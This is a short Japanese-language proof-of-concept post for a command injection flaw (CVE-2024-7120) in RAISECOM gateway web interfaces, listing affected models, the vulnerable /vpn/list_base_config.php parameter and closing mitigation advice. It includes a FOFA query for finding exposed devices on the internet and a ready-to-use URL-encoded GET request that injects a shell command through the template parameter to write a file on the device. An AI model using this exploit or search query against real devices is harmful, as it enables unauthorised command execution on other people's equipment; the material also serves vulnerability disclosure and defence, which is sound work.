Raisecom デバイス コマンドインジェクション (CVE-2024-7120) 概念実証!

概要

RAISECOM Gateway デバイス（モデル MSG1200、MSG2100E、MSG2200、MSG2300）においてコマンドインジェクションの脆弱性が確認されました。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できます。問題は list_base_config.php スクリプト内、特に template パラメータにあり、インターネット上の 25,112 台以上のデバイスに影響を及ぼします。

✔ FOFA : title="web user login" && body="<META content="MSHTML 6.00.2900.5583" name=GENERATOR>"

影響を受けるデバイス

ハードウェア

• RAISECOM Gateway モデル MSG1200、MSG2100E、MSG2200、MSG2300

ソフトウェア

• 3.90

影響を受けるコンポーネント

URI: /vpn/list_base_config.php

説明: list_base_config.php は、RAISECOM Gateway デバイスにおいて VPN 設定を管理するための Web ベースのインターフェースコンポーネントです。特定された脆弱性は、このスクリプト内での template パラメータの不適切な処理に起因します。このパラメータは、入力のサニタイズが不十分であるため、デバイスのオペレーティングシステム上で任意のコマンドを実行するために悪用される可能性があります。

CWE

CWE-77: コマンドインジェクション

エクスプロイト

以下は、curl コマンドを使用してこの脆弱性を悪用する例です。

GET "http://host.com/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{Created by Ghost sec}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60"

この例では、curl コマンドが悪意のある HTTP GET リクエストを list_base_config.php スクリプトに送信しています。このリクエストは、template パラメータを利用してコマンドを実行します。

実際の結果

サンプル 1

サンプル 2

推奨事項

1. 入力検証: すべてのユーザー入力、特にシステムコマンドやファイルパスに影響を与える可能性のある入力に対して、厳格な検証チェックを実装してください。
2. アクセス制御: デバイスの Web インターフェースへのアクセスを、信頼できるネットワークと認証されたユーザーに制限してください。